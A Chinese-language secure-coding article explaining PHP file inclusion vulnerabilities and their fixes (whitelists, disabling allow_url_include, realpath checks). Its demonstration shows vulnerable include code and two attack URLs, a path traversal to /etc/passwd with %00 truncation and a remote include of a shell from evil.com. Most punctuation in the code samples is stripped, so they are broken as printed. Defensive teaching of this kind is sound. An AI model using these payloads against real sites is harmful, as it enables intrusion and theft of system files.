PHP文件包含漏洞:一招避开致命坑

发布时间:2026/10/21 11:35:04
PHP文件包含漏洞:一招避开致命坑 摘要PHP 文件包含漏洞是 Web 开发中常见且危险的一类安全问题攻击者往往利用不严谨的参数拼接把服务器上的敏感文件“带”出来甚至直接执行恶意代码。本文用一段可运行的示例演示漏洞成因并给出开发阶段容易落地的规避方案帮助你在写代码时就避开这个坑。一、什么是文件包含漏洞在 PHP 项目里我们经常会把公共头部、底部、配置信息拆成独立文件再用 include 或 require 引入。这种机制本身没问题问题出在“引入哪个文件”这件事被用户输入直接控制又没有做好校验。当攻击者能控制被包含的文件路径时就可能读取到 /etc/passwd 这类敏感文件或者把远程的恶意脚本拉进来执行。这就是文件包含漏洞也是 OWASP 榜单上的常客。二、漏洞原理演示先看一段典型的“问题代码”。假设我们有一个页面通过 URL 参数决定加载哪个模板?php // 危险写法直接拼接用户输入 $page $_GET[page]; include($page . .php); ?这段代码看起来挺正常但攻击者只要把 page 参数改成下面这样就能读到服务器上的敏感文件// 读取系统文件本地文件包含 http://your-site.com/index.php?page../../../../etc/passwd%00如果服务器配置允许远程包含攻击者还能把参数指向自己服务器上的恶意脚本// 远程文件包含 http://your-site.com/index.php?pagehttp://evil.com/shell.txt一旦恶意代码被执行网站基本就沦陷了。这里要特别提醒%00 截断在旧版本 PHP 里很常见虽然新版本已经修复但很多老项目还在用风险依然存在。三、开发中如何规避规避思路其实不复杂核心就一句话永远不要信任用户输入永远不要让用户直接决定文件路径。下面几个方法建议组合使用。1. 用白名单映射最稳妥的做法是提前定义好允许加载的页面列表用户只能选“编号”不能传路径?php $allowed [ home home.php, about about.php, contact contact.php, ]; $page $_GET[page] ?? home; if (!isset($allowed[$page])) { exit(页面不存在); } include($allowed[$page]); ?这样即使攻击者把参数改成 ../../etc/passwd也匹配不到白名单里的任何一项直接就被拦下了。2. 关闭远程包含在 php.ini 里把 allow_url_include 设为 Off从根上杜绝远程文件包含allow_url_include Off这个开关默认就是关闭的但有些老项目或一键安装包会把它打开建议部署时检查一遍。3. 路径规范化校验如果业务上确实需要动态包含文件至少要做一次路径校验确保解析后的真实路径落在允许目录内?php $base realpath(__DIR__ . /pages/); $path realpath(__DIR__ . /pages/ . $_GET[page] . .php); if ($path false || strpos($path, $base) ! 0) { exit(非法路径); } include($path); ?realpath 会把 ../../ 这类相对路径解析成绝对路径再对比前缀就能挡住目录穿越。四、写在最后文件包含漏洞的修复成本其实很低关键是要养成“输入即攻击面”的编码习惯。建议在项目里加一道统一的入口校验同时定期用扫描工具检查历史代码。安全不是上线前补一补的事而是从第一行代码就要开始考虑的问题。